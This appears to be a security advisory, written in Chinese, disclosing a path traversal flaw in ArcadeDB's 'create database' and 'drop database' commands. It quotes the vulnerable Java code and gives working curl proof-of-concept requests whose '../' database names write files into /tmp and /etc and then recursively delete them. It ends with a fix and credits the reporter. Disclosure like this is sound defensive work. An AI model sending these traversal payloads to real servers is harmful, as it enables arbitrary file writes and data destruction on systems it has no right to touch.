“create database”/“drop database”服务器命令中的路径遍历漏洞,允许在配置的数据库目录之外进行任意文件写入和删除
POST /api/v1/server 端点的 create database 和 drop database 命令使用调用者提供的数据库名称来构建文件系统路径,且没有任何清理、规范化或包含性检查。以 ArcadeDB 服务器 root 账户身份认证的用户可以提供包含 ../ 序列的名称,使服务器在服务器进程可写入的任何绝对文件系统路径上创建(并随后删除)整个数据库——任意文件和目录——完全位于配置的 arcadedb.server.databaseDirectory 之外。
这一点已在干净状态下进行了两次独立实时验证:一次精心构造的 create database 命令将真实的数据库文件写入 /tmp/,另一次测试中写入 /etc/;随后使用相同遍历字符串的 drop database 命令递归删除了该目录。
server/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
唯一的验证是非空检查。databaseName 未经修改地流入 ArcadeDBServer.createDatabase()(server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
这是原始的字符串拼接,而不是 Path.resolve() 加包含性检查。DatabaseFactory(engine/src/main/java/com/arcadedb/database/DatabaseFactory.java)在 create()/open() 写入磁盘文件之前,从不调用 .normalize() 或验证解析后的路径是否仍位于预期的基目录之下。
dropDatabase() 存在同样的验证缺失,并且由于服务器以调用者提供的字面(包含遍历序列的)名称跟踪数据库,后续的 drop database 会递归删除 create database 写入的任何目录。
两个命令之前都强制执行 checkRootUser(user),因此这需要服务器的 root 账户——但此处的 root 是 ArcadeDB 自身的应用级超级用户,其信任级别不一定等同于对主机的操作系统/Shell 访问权限。突破 databaseDirectory 的包含性限制,使该应用级账户能够在 JVM 进程具有操作系统权限的任何位置写入和删除任意文件。
环境: ArcadeData/arcadedb @ 提交 545e703,从源码构建(./mvnw -pl engine,server -am install -DskipTests),以 arcadedb.server.rootPassword 设置且 arcadedb.server.databaseDirectory=/databases 独立运行。
确认预期的数据库目录为空。
发送带有遍历载荷的 create database 命令:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json、schema.json、dictionary..dict、txlog_.wal——一个完整、真实的 ArcadeDB 数据库。预期的 databases/ 目录全程保持为空。
list databases 返回字面遍历字符串作为注册名称,确认零规范化:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
使用更深的遍历到 /etc/arcadedb-poc2 重复测试——同样成功,证明写入不限于 /tmp 或任何特定文件系统区域,仅受限于进程可写入的范围。还使用最小单级 ../ 遍历进行了复现,确认是真正的路径逃逸而非巧合结果。
使用相同遍历字符串的 drop database 递归删除该目录:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"};随后确认目录已消失。
create database)和任意递归删除(通过 drop database),完全位于配置的 databaseDirectory 沙箱之外。直接拒绝包含路径分隔符(/、\)或 .. 段的数据库名称(对于此类标识符,简单的白名单正则表达式如 ^[A-Za-z0-9_-]+$ 是标准做法),并在 createDatabase 和 dropDatabase 中,在任何文件操作之前,防御性地使用 Path.resolve(name).normalize() 解析最终路径并验证其仍以配置的基目录开头。
致谢:Pervin Zahidli(@ech0void)